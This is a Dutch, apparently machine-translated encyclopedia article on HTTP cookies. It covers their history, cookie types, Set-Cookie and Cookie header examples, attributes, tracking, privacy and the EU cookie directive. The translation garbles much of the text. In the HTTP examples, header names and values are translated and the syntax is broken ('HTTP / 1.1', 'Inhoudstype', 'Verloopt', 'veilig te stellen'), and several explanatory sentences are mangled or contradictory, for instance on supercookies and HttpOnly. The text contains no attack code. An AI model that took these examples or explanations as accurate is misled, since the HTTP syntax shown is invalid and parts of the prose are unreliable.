HTTP-cookie

Een HTTP-cookie (ook wel internetcookie , internetcookie , browsercookie of gewoon cookie genoemd ) is een klein stukje gegevens dat wordt verzonden vanaf een website en door de webbrowser van de gebruiker wordt opgeslagen op de computer van de gebruiker terwijl de gebruiker aan het surfen is. Cookies zijn ontworpen als een betrouwbaar mechanisme voor websites om stateful informatie te onthouden (zoals artikelen die in een winkelwagentje in een online winkel zijn toegevoegd) of om de browse-activiteit van de gebruiker vast te leggen (inclusief klikken op bepaalde knoppen, inloggen of vastleggen welke pagina’s werden bezocht in het verleden). Ze kunnen ook worden gebruikt om willekeurige stukjes informatie te onthouden die de gebruiker eerder heeft ingevoerd in formuliervelden zoals namen, adressen, wachtwoorden en creditcardnummers.

Andere soorten cookies voeren essentiële functies uit in het moderne web. Het belangrijkste is misschien dat authenticatie-cookies de meest gebruikelijke methode zijn die door webservers wordt gebruikt om te weten of de gebruiker is aangemeld of niet, en met welk account ze zijn aangemeld. Zonder een dergelijk mechanisme zou de site niet weten of een pagina met gevoelige informatie moet worden verzonden, of moet de gebruiker zich verifiëren door zich aan te melden. De beveiliging van een authenticatiecookie hangt in het algemeen af ​​van de veiligheid van de uitgevende website en de webbrowser van de gebruiker. en of de cookiegegevens zijn gecodeerd. Door beveiligingsproblemen kunnen de gegevens van een cookie worden gelezen door een hacker , worden gebruikt om toegang te krijgen tot gebruikersgegevens of worden gebruikt om toegang te krijgen (met de referenties van de gebruiker) tot de website waartoe de cookie behoort (zie cross-site scripting en cross-site). vervalsing voor vervalsing van site-aanvragen voor voorbeelden). [1]

De volgcookies, en met name trackingcookies van derden , worden vaak gebruikt als manier om langetermijnrecords van browsergeschiedenis van individuen te verzamelen – een mogelijke privacykwestie die Europese [2] en Amerikaanse wetgevers ertoe bracht in 2011 actie te ondernemen. [3 ] [4] Europese wetgeving vereist dat alle websites die gericht zijn op lidstaten van de Europese Unie “geïnformeerde toestemming” krijgen van gebruikers voordat ze niet-essentiële cookies op hun apparaat opslaan.

Google- project nulonderzoeker Jann Horn beschrijft manieren waarop cookies kunnen worden gelezen door tussenpersonen , zoals aanbieders van Wi-Fi- hostspots. Hij beveelt aan om de browser in dergelijke gevallen in de incognitomodus te gebruiken. [5]

Inhoud

  • 1 Achtergrond
    • 1.1 Oorsprong van de naam
    • 1.2 Geschiedenis
  • 2 Terminologie
    • 2.1 Sessiecookie
    • 2.2 Persistent cookie
    • 2.3 Beveiligde cookie
    • 2.4 HttpOnly cookie
    • 2.5 SameSite-cookie
    • 2.6 Cookie van derden
    • 2.7 Supercookie
      • 2.7.1 Andere toepassingen
    • 2.8 Zombie-cookie
  • 3 Structuur
  • 4 Gebruik
    • 4.1 Sessiebeheer
    • 4.2 Personalisatie
    • 4.3 Tracking
  • 5 Implementatie
    • 5.1 Een cookie instellen
    • 5.2 Cookieattributen
      • 5.2.1 Domein en pad
      • 5.2.2 Verloopt en Max-leeftijd
      • 5.2.3 Beveiligd en HttpOnly
  • 6 Browserinstellingen
  • 7 Privacy en cookies van derden
    • 7.1 EU-cookierichtlijn
  • 8 Cookie-diefstal en sessie-kaping
    • 8.1 Netwerk afluisteren
    • 8.2 Publiceren van een foutief subdomein: DNS-cache-vergiftiging
    • 8.3 Cross-site scripting: cookiediefstal
    • 8.4 Cross-site scripting: proxy-aanvraag
    • 8.5 Cross-site aanvraag vervalsing
  • 9 Nadelen van cookies
    • 9.1 Onnauwkeurige identificatie
    • 9.2 Inconsistente staat op client en server
  • 10 alternatieven voor cookies
    • 10.1 JSON Web Tokens
    • 10.2 HTTP-authenticatie
    • 10.3 IP-adres
    • 10.4 URL (querystring)
    • 10.5 Verborgen formuliervelden
    • 10.6 “venster.name” DOM-eigenschap
    • 10.7 Identifier voor adverteerders
    • 10.8 ETag
    • 10.9 Webopslag
    • 10.10 Browser cache
    • 10.11 Browser-vingerafdruk
  • 11 Zie ook
  • 12 Referenties
  • 13 Externe links

Achtergrond

Oorsprong van de naam

De term “cookie” is bedacht door webbrowser programmeur Lou Montulli . Het is afgeleid van de term ” magic cookie “, een pakket gegevens dat een programma onveranderd ontvangt en terugstuurt, gebruikt door Unix- programmeurs. [6] [7]

Geschiedenis

Magic-cookies werden al in computers gebruikt toen computerprogrammeur Lou Montulli het idee had om ze in webcommunicaties te gebruiken in juni 1994. [8] Op dat moment was hij een medewerker van Netscape Communications , die een e-commerce- applicatie voor MCI aan het ontwikkelen was. . Vint Cerf en John Klensin vertegenwoordigden MCI in technische besprekingen met Netscape Communications. MCI wilde niet dat zijn servers gedeeltelijke transactietoestanden moesten behouden, wat ertoe leidde dat ze Netscape vroegen om een ​​manier te vinden om die status in de computer van elke gebruiker op te slaan. Cookies boden een oplossing voor het probleem van een betrouwbare implementatie van een virtuele winkelwagen . [9] [10]

Samen met John Giannandrea schreef Montulli de eerste Netscape-cookiespecificatie in hetzelfde jaar. Versie 0.9beta van Mosaic Netscape , uitgebracht op 13 oktober 1994, [11] [12] ondersteunde cookies [ nodig citaat ] . Bij het eerste gebruik van cookies (uit de laboratoria) werd gecontroleerd of bezoekers van de Netscape-website de site al hadden bezocht. Montulli vroeg in 1995 patent aan voor de cookietechnologie en US 5774670 werd in 1998 verleend. Ondersteuning voor cookies werd geïntegreerd in Internet Explorer in versie 2, uitgebracht in oktober 1995. [13]

De introductie van cookies was toen nog niet algemeen bekend. Cookies werden met name standaard geaccepteerd en gebruikers werden niet op de hoogte gebracht van hun aanwezigheid. Het grote publiek hoorde over cookies nadat de Financial Times op 12 februari 1996 een artikel over hen publiceerde. [14] In hetzelfde jaar kregen cookies veel media-aandacht, vooral vanwege potentiële privacy-implicaties. Cookies werden besproken in twee Amerikaanse Federal Trade Commission- hoorzittingen in 1996 en 1997.

De ontwikkeling van de formele cookiespecificaties was al aan de gang. In het bijzonder begonnen de eerste discussies over een formele specificatie in april 1995 op de www-talk mailinglijst . Er is een speciale werkgroep gevormd binnen de Internet Engineering Task Force (IETF). Twee alternatieve voorstellen voor het invoeren van staat in HTTP-transacties waren voorgesteld door respectievelijk Brian Behlendorf en David Kristol. Maar de groep, aangevoerd door Kristol zelf en Lou Montulli, besloot al snel om de Netscape-specificatie als uitgangspunt te nemen. In februari 1996 identificeerde de werkgroep cookies van derde partijen als een aanzienlijke bedreiging voor de privacy. De specificatie geproduceerd door de groep werd uiteindelijk gepubliceerd als RFC 2109 in februari 1997. Het specificeerde dat third-party cookies überhaupt niet waren toegestaan, of althans niet standaard waren ingeschakeld.

Op dit moment gebruikten reclamebedrijven al cookies van derden. De aanbeveling over cookies van derden van RFC 2109 werd niet gevolgd door Netscape en Internet Explorer. RFC 2109 werd vervangen door RFC 2965 in oktober 2000.

RFC 2965 heeft een Set-Cookie2 header toegevoegd, die informeel ‘ RFC 2965- stijl cookies’ werd genoemd, in tegenstelling tot de oorspronkelijke Set-Cookie header die ‘cookies in de stijl van Netscape’ heette. [15] [16] Set-Cookie2 werd echter zelden gebruikt en werd in april 2011 afgeschaft in RFC 6265 , dat werd geschreven als een definitieve specificatie voor cookies zoals gebruikt in de echte wereld. [17]

Terminologie

Sessie cookie

Een sessiecookie , ook wel een in-memory cookie of tijdelijke cookie genoemd , bestaat alleen in een tijdelijk geheugen terwijl de gebruiker de website bezoekt. [18] Webbrowsers verwijderen gewoonlijk sessiecookies wanneer de gebruiker de browser sluit. [19] In tegenstelling tot andere cookies, hebben sessiecookies geen vervaldatum toegewezen gekregen, wat de browser weet om ze als sessiecookies te behandelen.

Aanhoudende cookie

In plaats van te vervallen wanneer de webbrowser wordt gesloten zoals sessie-cookies doen, vervalt een permanente cookie op een specifieke datum of na een specifieke tijdsduur. Dit betekent dat, voor de hele levensduur van de cookie (die zo lang of zo kort kan zijn als de makers ervan willen), de informatie naar de server wordt verzonden telkens wanneer de gebruiker de website bezoekt waartoe hij behoort, of elke keer dat de gebruiker kijkt een bron die bij die website hoort van een andere website (zoals een advertentie).

Om deze reden worden persistente cookies soms ook wel tracking-cookies genoemd omdat ze door adverteerders kunnen worden gebruikt om informatie over de surfgedragingen van een gebruiker gedurende een langere periode vast te leggen. Ze worden echter ook gebruikt voor “legitieme” redenen (zoals gebruikers laten inloggen bij hun accounts op websites om te voorkomen dat bij elk bezoek opnieuw inloggegevens moeten worden ingevoerd).

Deze cookies worden echter opnieuw ingesteld als de vervaltijd is bereikt of de gebruiker de cookie handmatig verwijdert.

Beveilig cookie

Een beveiligd cookie kan alleen via een versleutelde verbinding (bijv. HTTPS ) worden verzonden. Ze kunnen niet worden verzonden via niet-versleutelde verbindingen (dwz HTTP ). Hierdoor wordt het cookie minder snel blootgesteld aan cookiediefstal via afluisteren. Een cookie wordt beveiligd door de Secure vlag aan de cookie toe te voegen.

HttpOnly cookie

Een HttpOnly-cookie kan niet worden geopend door client-side API’s, zoals JavaScript. Deze beperking elimineert de dreiging van cookiediefstal via cross-site scripting (XSS). De cookie blijft echter kwetsbaar voor cross-site tracing (XST) en cross-site request forgery (XSRF) -aanvallen. Een cookie krijgt deze eigenschap door de HttpOnly vlag aan de cookie toe te voegen.

SameSite-cookie

Google Chrome 51 heeft onlangs [20] een nieuw soort cookie geïntroduceerd dat alleen kan worden verzonden in verzoeken die afkomstig zijn van dezelfde oorsprong als het doeldomein. Deze beperking beperkt aanvallen zoals cross-site request vervalsing (XSRF). [21] Een cookie krijgt deze eigenschap door de vlag SameSite in Strict of Lax . [22]

Cookie van derden

Normaal gesproken komt het domeinkenmerk van een cookie overeen met het domein dat wordt weergegeven in de adresbalk van de webbrowser. Dit wordt een first-party cookie genoemd . Een cookie van derden behoort echter tot een ander domein dan het domein dat in de adresbalk wordt weergegeven. Dit soort cookie verschijnt meestal wanneer webpagina’s inhoud van externe websites bevatten, zoals banneradvertenties. Dit opent de mogelijkheid om de browsegeschiedenis van de gebruiker bij te houden en wordt vaak gebruikt door adverteerders in een poging relevante advertenties aan elke gebruiker weer te geven.

Stel dat een gebruiker bijvoorbeeld www.example.org bezoekt. Deze website bevat een advertentie van ad.foxytracking.com , die bij het downloaden een cookie instelt die behoort tot het domein van de advertentie ( ad.foxytracking.com ). Vervolgens bezoekt de gebruiker een andere website, www.foo.com , die ook een advertentie van ad.foxytracking.com , en die ook een cookie instelt die bij dat domein ad.foxytracking.com ( ad.foxytracking.com ). Uiteindelijk zullen beide cookies naar de adverteerder worden gestuurd wanneer ze hun advertenties laden of hun website bezoeken. De adverteerder kan deze cookies dan gebruiken om een ​​browsergeschiedenis van de gebruiker op te bouwen op alle websites die advertenties van deze adverteerder hebben.

Vanaf 2014 waren sommige websites cookies aan het instellen die geschikt zijn voor meer dan 100 domeinen van derden. [23] Gemiddeld stelde een enkele website 10 cookies in, met een maximumaantal cookies (eerste en derde partij) dat meer dan 800 bereikt. [24]

De meeste moderne webbrowsers bevatten privacy-instellingen die cookies van derden kunnen blokkeren.

supercookie

Een supercookie is een cookie met de oorsprong van een topdomein (zoals .com ) of een openbare achtervoegsel (zoals .co.uk ). Gewone cookies daarentegen hebben een oorsprong van een specifieke domeinnaam, zoals example.com .

Supercookies kunnen een potentieel veiligheidsprobleem vormen en worden daarom vaak geblokkeerd door webbrowsers. Als de browser wordt geblokkeerd door de browser, kan een aanvaller die de controle over een kwaadwillende website heeft, een supercookie instellen en mogelijk legitieme gebruikersverzoeken naar een andere website die hetzelfde hoofddomein of openbare achtervoegsel als de kwaadwillende website deelt, verdraaien of nabootsen. Een supercookie met een oorsprong van .com kan bijvoorbeeld een verzoek gericht aan example.com kwade wijze beïnvloeden, zelfs als het cookie niet afkomstig is van example.com . Dit kan worden gebruikt om aanmeldingen te vervalsen of gebruikersinformatie te wijzigen.

De Public Suffix List [25] helpt het risico van supercookies te verkleinen. De Public Suffix List is een cross-vendor-initiatief dat tot doel heeft een nauwkeurige en actuele lijst van achtervoegsels voor domeinnamen te bieden. Oudere versies van browsers hebben mogelijk geen actuele lijst en zijn daarom kwetsbaar voor supercookies uit bepaalde domeinen.

Andere gebruiken

De term ‘supercookie’ wordt soms gebruikt voor trackingtechnologieën die niet afhankelijk zijn van HTTP-cookies. Twee dergelijke ‘supercookie’-mechanismen werden gevonden op Microsoft-websites in augustus 2011: cookiesynchronisatie die opnieuw werden gevormd MUID-cookies (machine-unieke ID) en ETag- cookies. [26] Vanwege media-aandacht heeft Microsoft deze code later uitgeschakeld. [27]

Zombie cookie

Een zombie-cookie is een cookie die automatisch wordt nagebootst nadat deze is verwijderd. Dit wordt bereikt door de inhoud van de cookie op meerdere locaties op te slaan, zoals gedeeld Flash-object , HTML5-webopslag en andere client-side en zelfs server-side locaties. Wanneer de afwezigheid van de cookie wordt gedetecteerd, wordt de cookie opnieuw aangemaakt met behulp van de gegevens die op deze locaties zijn opgeslagen.

Structuur

Een cookie bestaat uit de volgende componenten: [28] [29]

  1. Naam
  2. Waarde
  3. Nul of meer attributen (naam / waarde-paren). Attributen slaan informatie op, zoals de expiratie van de cookie, het domein en vlaggen (zoals Secure en HttpOnly ).

Toepassingen

Sessiebeheer

Cookies zijn oorspronkelijk geïntroduceerd om gebruikers een manier te bieden om items vast te leggen die ze willen kopen terwijl ze door een website navigeren (een virtueel “winkelmandje” of “winkelmandje”). [9] [10] Tegenwoordig wordt de inhoud van het winkelwagentje van een gebruiker meestal opgeslagen in een database op de server, in plaats van in een cookie op de client. Om bij te houden welke gebruiker aan welke winkelwagen is toegewezen, stuurt de server een cookie naar de client met een unieke sessie-id (meestal een lange reeks willekeurige letters en cijfers). Omdat cookies met elk verzoek van de client naar de server worden verzonden, wordt die sessie-ID telkens wanneer de gebruiker een nieuwe pagina op de website bezoekt, naar de server teruggestuurd, waardoor de server weet welke winkelwagen voor de gebruiker moet worden weergegeven.

Een ander populair gebruik van cookies is om in te loggen op websites. Wanneer de gebruiker de aanmeldingspagina van een website bezoekt, stuurt de webserver de client doorgaans een cookie met een unieke sessie-id. Wanneer de gebruiker zich met succes aanmeldt, onthoudt de server dat die specifieke sessie-ID is geverifieerd en verleent de gebruiker toegang tot zijn services.

Omdat sessiecookies alleen een unieke sessie-ID bevatten, maakt dit de hoeveelheid persoonlijke informatie die een website vrijwel onbeperkt over elke gebruiker kan opslaan-de website is niet beperkt tot beperkingen betreffende hoe groot een cookie kan zijn. Sessiecookies helpen ook om de laadtijd van de pagina te verbeteren, omdat de hoeveelheid informatie in een sessiecookie klein is en weinig bandbreedte vereist.

personalisatie

Cookies kunnen worden gebruikt om informatie over de gebruiker te onthouden om in de loop van de tijd relevante inhoud aan die gebruiker te tonen. Een webserver kan bijvoorbeeld een cookie verzenden met de laatst gebruikte gebruikersnaam om zich aan te melden bij een website, zodat deze automatisch kan worden ingevuld bij de volgende keer dat de gebruiker inlogt.

Veel websites gebruiken cookies voor personalisatie op basis van de voorkeuren van de gebruiker. Gebruikers selecteren hun voorkeuren door ze in te voeren in een webformulier en het formulier in te dienen bij de server. De server codeert de voorkeuren in een cookie en stuurt de cookie terug naar de browser. Op deze manier kan de server elke keer dat de gebruiker een pagina op de website opent, de pagina personaliseren op basis van de voorkeuren van de gebruiker. De Google- zoekmachine gebruikte bijvoorbeeld eens cookies om gebruikers (zelfs niet-geregistreerde) toe te staan ​​te beslissen hoeveel zoekresultaten per pagina ze wilden zien. DuckDuckGo maakt ook gebruik van cookies om gebruikers in staat te stellen om de kijkvoorkeuren in te stellen zoals de kleuren van de webpagina.

Tracking

Tracking-cookies worden gebruikt om het surfgedrag van gebruikers te volgen. Dit kan ook enigszins worden gedaan door het IP-adres te gebruiken van de computer die de pagina of het verwijzerveld van de HTTP-verzoekheader aanvraagt, maar cookies maken een grotere nauwkeurigheid mogelijk. Dit kan als volgt worden aangetoond:

  1. Als de gebruiker een pagina van de site opvraagt, maar de aanvraag geen cookie bevat, neemt de server aan dat dit de eerste door de gebruiker bezochte pagina is. Dus de server maakt een unieke ID (meestal een reeks willekeurige letters en cijfers) en stuurt deze samen met de gevraagde pagina als een cookie terug naar de browser.
  2. Vanaf dit punt wordt de cookie automatisch door de browser naar de server verzonden telkens wanneer een nieuwe pagina van de site wordt aangevraagd. De server verzendt de pagina zoals gebruikelijk, maar slaat ook de URL van de gevraagde pagina, de datum / tijd van de aanvraag en de cookie op in een logbestand.

Door dit logbestand te analyseren, is het vervolgens mogelijk om te achterhalen welke pagina’s de gebruiker heeft bezocht, in welke volgorde en voor hoe lang.

Bedrijven maken gebruik van webgewoonten van gebruikers door cookies te volgen om informatie over koopgedrag te verzamelen. The Wall Street Journal ontdekte dat de top vijftig websites van Amerika gemiddeld vierenzestig stukjes trackingtechnologie op computers installeerden, wat resulteerde in een totaal van 3.180 trackingbestanden. [30] De gegevens kunnen vervolgens worden verzameld en verkocht aan biedende bedrijven.

Implementatie

Een mogelijke interactie tussen een webbrowser en een webserver die een webpagina bevat waarin de server een cookie naar de browser verzendt en de browser deze terugstuurt bij het aanvragen van een andere pagina.

Cookies zijn willekeurige stukjes gegevens, meestal gekozen en eerst verzonden door de webserver en opgeslagen op de clientcomputer door de webbrowser. De browser stuurt ze vervolgens met elk verzoek terug naar de server en introduceert staten (geheugen van eerdere gebeurtenissen) in anders staatloze HTTP- transacties. Zonder cookies zou elke opvraging van een webpagina of component van een webpagina een geïsoleerde gebeurtenis zijn, grotendeels onafhankelijk van alle andere paginaweergaven gemaakt door de gebruiker op de website. Hoewel cookies meestal door de webserver worden ingesteld, kunnen ze ook door de client worden ingesteld met behulp van een scripttaal zoals JavaScript (tenzij de HttpOnly markering van de cookie is ingesteld, in welk geval de cookie niet kan worden aangepast door scripttalen).

De cookiespecificaties [31] [32] [33] vereisen dat browsers aan de volgende vereisten voldoen om cookies te ondersteunen:

  • Kan cookies tot 4.096 bytes ondersteunen .
  • Kan minimaal 50 cookies per domein ondersteunen (bijv. Per website).
  • Kan in totaal minstens 3.000 cookies ondersteunen.

Een cookie instellen

Cookies worden ingesteld met behulp van de HTTP-header Set-Cookie , verzonden in een HTTP-reactie van de webserver. Deze header geeft de webbrowser de opdracht om de cookie op te slaan en terug te sturen in toekomstige aanvragen naar de server (de browser negeert deze header als deze geen cookies ondersteunt of cookies heeft uitgeschakeld).

Als voorbeeld verzendt de browser zijn eerste verzoek naar de startpagina van de website www.example.org :

 GET /index.html HTTP / 1.1
 Host : www.example.org
 ...

De server antwoordt met twee Set-Cookie headers:

 HTTP / 1.0 200 OK
 Inhoudstype : tekst / html
 Set-Cookie : thema = licht
 Set-Cookie : sessionToken = abc123;  Verloopt = Wo, 09 Jun 2021 10:18:14 GMT
 ...

Het HTTP-antwoord van de server bevat de inhoud van de startpagina van de website. Maar het geeft de browser ook de opdracht om twee cookies in te stellen. Het eerste, “thema”, wordt beschouwd als een sessiecookie , omdat het geen Expires of Max-Age kenmerk heeft. Sessiecookies zijn bedoeld om te worden verwijderd door de browser wanneer de browser sluit. De tweede, “sessionToken” wordt beschouwd als een blijvende cookie , omdat het een Expires kenmerk bevat, dat de browser opdraagt ​​om de cookie op een specifieke datum en tijd te verwijderen.

Vervolgens stuurt de browser een ander verzoek om de spec.html pagina op de website te bezoeken. Dit verzoek bevat een HTTP-header voor cookies, die de twee cookies bevat die de server heeft opgegeven om de browser in te stellen:

 GET /spec.html HTTP / 1.1
 Host : www.example.org
 Cookie : thema = licht;  sessionToken = ABC123
 ...

Op deze manier weet de server dat dit verzoek gerelateerd is aan het vorige. De server antwoordt door de gevraagde pagina te verzenden, mogelijk inclusief meer Set-Cookie headers in het antwoord om nieuwe cookies toe te voegen, bestaande cookies aan te passen of cookies te verwijderen.

De waarde van een cookie kan door de server worden gewijzigd door een Set-Cookie header op te nemen in reactie op een paginavraag. De browser vervangt dan de oude waarde door de nieuwe waarde.

De waarde van een cookie kan bestaan ​​uit elk afdrukbaar ASCII- teken ( ! Door ~ , Unicode \u0021 tot \u007E ) met uitzondering van en ; en witruimte karakters . De naam van een cookie sluit dezelfde tekens uit, evenals = , omdat dat het scheidingsteken is tussen de naam en de waarde. De cookiestandaard RFC 2965 is restrictiever maar niet geïmplementeerd door browsers.

De term “cookie crumb” wordt soms gebruikt om naar het naam / waarde-paar van een cookie te verwijzen. [34]

Cookies kunnen ook worden ingesteld door scripttalen zoals JavaScript die in de browser worden uitgevoerd. In JavaScript wordt het object document.cookie voor dit doel gebruikt. De instructiedocument.cookie document.cookie = "temperature=20" maakt bijvoorbeeld een cookie met de naam “temperatuur” en waarde “20”. [35]

Cookie-attributen

Naast een naam en waarde kunnen cookies ook een of meer kenmerken hebben. Browsers bevatten geen cookie-attributen in verzoeken naar de server – ze verzenden alleen de naam en de waarde van de cookie. Cookieattributen worden door browsers gebruikt om te bepalen wanneer een cookie moet worden verwijderd, een cookie moet worden geblokkeerd of dat een cookie naar de server moet worden verzonden.

Domein en pad

De kenmerken Domain en Path definiëren het bereik van de cookie. Ze vertellen in feite aan de browser naar welke website de cookie hoort. Om voor de hand liggende veiligheidsredenen kunnen cookies alleen worden ingesteld op het bovenste domein en de bijbehorende subdomeinen van de huidige bron, en niet op een ander domein en de bijbehorende subdomeinen. De website example.org kan bijvoorbeeld geen cookie instellen met een domein van foo.com omdat dit de example.org website toestaat de cookies van foo.com .

Als de kenmerken Domain en Path een cookie niet door de server worden opgegeven, worden ze standaard ingesteld op het domein en het pad van de resource die is aangevraagd. [36] In de meeste browsers is er echter een verschil tussen een cookie-set van foo.com zonder domein en een cookie-set met het foo.com domein. In het eerste geval wordt de cookie alleen verzonden voor verzoeken aan foo.com , ook wel bekend als een host-only cookie. In het laatste geval worden alle subdomeinen ook opgenomen (bijvoorbeeld docs.foo.com ). [37] [38] Een opmerkelijke uitzondering op deze algemene regel is Internet Explorer, die cookies altijd naar subdomeinen verzendt, ongeacht of de cookie is ingesteld met of zonder een domein. [39]

Hieronder ziet u een voorbeeld van een aantal Set-Cookie HTTP-antwoordheaders die worden verzonden vanaf een website nadat een gebruiker is aangemeld. Het HTTP-verzoek is verzonden naar een webpagina binnen het subdomein docs.foo.com :

 HTTP / 1.0 200 OK
 Set-Cookie : LSID = DQAAAK ... Eaem_vYg;  Path = / accounts;  Verloopt = Wo, 13 Jan 2021 22:23:01 GMT;  veilig te stellen;  HttpOnly
 Set-Cookie : HSID = AYQEVn ... DKrdst;  Domain = .foo.com;  Path = /;  Verloopt = Wo, 13 Jan 2021 22:23:01 GMT;  HttpOnly
 Set-Cookie : SSID = Ap4P ... GTEq;  Domain = foo.com;  Path = /;  Verloopt = Wo, 13 Jan 2021 22:23:01 GMT;  veilig te stellen;  HttpOnly
 ...

De eerste cookie, LSID , heeft geen domeinattribuut en heeft een LSID ingesteld op /accounts . Dit vertelt de browser om de cookie alleen te gebruiken bij het aanvragen van pagina’s in docs.foo.com/accounts (het domein is afgeleid van het docs.foo.com/accounts ). De andere twee cookies, HSID en SSID , zouden worden gebruikt wanneer de browser een subdomein op .foo.com op een pad .foo.com (bijvoorbeeld www.foo.com/bar ). De voorafgaande punt is optioneel in recente normen, maar kan worden toegevoegd voor compatibiliteit met op RFC 2109 gebaseerde implementaties. [40]

Verloopt en Max-leeftijd

Het kenmerk Expires definieert een specifieke datum en tijd waarop de browser de cookie moet verwijderen. De datum en tijd worden opgegeven in het formulier Wdy, DD Mon YYYY HH:MM:SS GMT , of in de notatie Wdy, DD Mon YY HH:MM:SS GMT voor YY-waarden waarbij YY groter is dan of gelijk is aan 0 en minder dan of gelijk aan 69. [41]

Als alternatief kan het kenmerk Max-Age worden gebruikt om de expiratie van de cookie in de toekomst in te stellen als een interval van seconden, in verhouding tot de tijd dat de browser de cookie heeft ontvangen. Hieronder ziet u een voorbeeld van drie Set-Cookie headers die van een website zijn ontvangen nadat een gebruiker was ingelogd:

 HTTP / 1.0 200 OK
 Set-Cookie : lu = Rg3vHJZnehYLjVg7qi3bZjzg;  Verloopt = Tue, 15 Jan 2013 21:47:38 GMT;  Path = /;  Domain = .example.com;  HttpOnly
 Set-Cookie : made_write_conn = 1295214458;  Path = /;  Domain = .example.com
 Set-Cookie : reg_fb_gate = verwijderd;  Verloopt = do 01 januari 1970 00:00:01 GMT;  Path = /;  Domain = .example.com;  HttpOnly

De eerste cookie, lu , zal ergens op 15 januari 2013 aflopen. De cookie zal tot die tijd door de clientbrowser worden gebruikt. Het tweede cookie, made_write_conn , heeft geen vervaldatum, waardoor het een sessiecookie is. Het zal worden verwijderd nadat de gebruiker zijn browser sluit. De derde cookie, reg_fb_gate , heeft zijn waarde gewijzigd in “deleted”, met een verlooptijd in het verleden. De browser verwijdert deze cookie meteen omdat de vervaltijd ervan in het verleden ligt. Merk op dat cookie alleen zal worden verwijderd als de domein- en padattributen in het veld Set-Cookie overeenkomen met de waarden die werden gebruikt toen de cookie werd gemaakt.

Vanaf 2016 Internet Explorer ondersteunde Max-Age . [42] [43]

Veilig en HttpOnly

De kenmerken Secure en HttpOnly hebben geen bijbehorende waarden. Integendeel, de aanwezigheid van alleen hun attribuutnamen geeft aan dat hun gedrag moet worden ingeschakeld.

Het Secure kenmerk is bedoeld om cookie-communicatie beperkt te houden tot gecodeerde verzending, waardoor browsers alleen cookies gebruiken via beveiligde / gecodeerde verbindingen. Als een webserver echter een cookie instelt met een veilig attribuut van een niet-beveiligde verbinding, kan de cookie toch worden onderschept wanneer deze door man-in-the-middle-aanvallen naar de gebruiker wordt verzonden. Daarom moeten cookies met het Secure-kenmerk voor maximale beveiliging alleen via een beveiligde verbinding worden ingesteld.

Met het kenmerk HttpOnly worden browsers HttpOnly cookies niet via andere kanalen dan HTTP (en HTTPS) -aanvragen HttpOnly . Dit betekent dat de cookie niet toegankelijk is via client-side scriptingtalen (met name JavaScript ) en daarom niet gemakkelijk kan worden gestolen via cross-site scripting (een doordringende aanvalstechniek). [44]

Browser instellingen

De meeste moderne browsers ondersteunen cookies en stellen de gebruiker in staat ze uit te schakelen. De volgende zijn algemene opties: [45]

  • Om cookies volledig in of uit te schakelen, zodat ze altijd worden geaccepteerd of altijd worden geblokkeerd.
  • Cookies bekijken en selectief verwijderen met behulp van een cookiemanager.
  • Alle privégegevens, inclusief cookies, volledig wissen.

Internet Explorer staat standaard alleen cookies van derden toe als deze vergezeld gaan van een P3P “CP” (Compact Policy) -veld. [46]

Aanvullende tools voor het beheren van cookietoestemmingen bestaan ​​ook. [47] [48] [49] [50]

Privacy en cookies van derden

Cookies hebben enkele belangrijke implicaties voor de privacy en anonimiteit van internetgebruikers. Hoewel cookies alleen worden verzonden naar de server die ze instelt of een server in hetzelfde internetdomein, kan een webpagina afbeeldingen of andere componenten bevatten die zijn opgeslagen op servers in andere domeinen. Cookies die worden ingesteld tijdens het ophalen van deze componenten, worden cookies van derden genoemd . De oudere normen voor cookies, RFC 2109 en RFC 2965 , bepalen dat browsers de privacy van gebruikers moeten beschermen en standaard niet toestaan ​​dat cookies tussen servers worden gedeeld. De nieuwere standaard, RFC 6265 , staat expliciet gebruikersagenten toe om het cookiebeleid van derden dat zij wensen uit te voeren. In de meeste browsers, zoals Mozilla Firefox , Internet Explorer , Opera en Google Chrome zijn standaard cookies van derden toegestaan, op voorwaarde dat de website van derden Compact Privacybeleid heeft gepubliceerd. Nieuwere versies van Safari blokkeren cookies van derde partijen, en dit is ook gepland voor Mozilla Firefox (oorspronkelijk gepland voor versie 22 maar voor onbepaalde tijd uitgesteld). [51]

In dit fictieve voorbeeld heeft een reclamebedrijf banners op twee websites geplaatst. Door de bannerafbeeldingen op zijn servers te hosten en cookies van derden te gebruiken, kan het reclamebedrijf het browsen van gebruikers over deze twee sites volgen.

Reclamebedrijven gebruiken cookies van derden om een ​​gebruiker op meerdere sites bij te houden. In het bijzonder kan een reclamebedrijf een gebruiker volgen op alle pagina’s waar het advertentiebeelden of webbugs heeft geplaatst. Kennis van de pagina’s die door een gebruiker worden bezocht, stelt het reclamebedrijf in staat advertenties te targeten op de veronderstelde voorkeuren van de gebruiker.

Website-exploitanten die het gebruik van cookies door derden niet aan consumenten bekendmaken, lopen het risico het vertrouwen van de consument te schaden als het gebruik van cookies wordt ontdekt. Het hebben van duidelijke openbaarmaking (zoals in een privacybeleid ) heeft de neiging om alle negatieve effecten van dergelijke cookie-ontdekking te elimineren. [52]

De mogelijkheid om een ​​gebruikersprofiel te maken is een bedreiging voor de privacy, vooral wanneer het bijhouden van gegevens over meerdere domeinen gebeurt met behulp van cookies van derden. Om deze reden hebben sommige landen wetgeving over cookies.

De regering van de Verenigde Staten heeft in 2000 strikte regels vastgesteld voor het instellen van cookies nadat bekend werd gemaakt dat het kantoor voor drugsbeleid van het Witte Huis cookies gebruikte om te achterhalen hoe computergebruikers hun online reclame voor geneesmiddelen tegen drugs bekijken. In 2002 ontdekte privacyactivist Daniel Brandt dat de CIA hardnekkige cookies had achtergelaten op computers die zijn website hadden bezocht. Bij het melden van een beleid dat in strijd was met het beleid, verklaarde de CIA dat deze cookies niet opzettelijk waren ingesteld en zijn gestopt met het instellen ervan. [53] Op 25 december 2005 ontdekte Brandt dat de National Security Agency (NSA) twee permanente cookies op de computers van bezoekers had achtergelaten vanwege een software-upgrade. Na te zijn ingelicht, heeft de NSA de cookies onmiddellijk uitgeschakeld. [54]

EU-cookierichtlijn

In 2002 lanceerde de Europese Unie de richtlijn betreffende privacy en elektronische communicatie , een beleid dat de instemming van eindgebruikers voor de plaatsing van cookies vereist, en vergelijkbare technologieën voor het opslaan en gebruiken van informatie over de apparatuur van gebruikers. [55] [56] In het bijzonder bepaalt artikel 5, lid 3 dat het opslaan van gegevens op de computer van een gebruiker alleen mogelijk is als de gebruiker informatie krijgt over hoe deze gegevens worden gebruikt en de gebruiker de mogelijkheid krijgt om deze opslagbewerking te weigeren. .

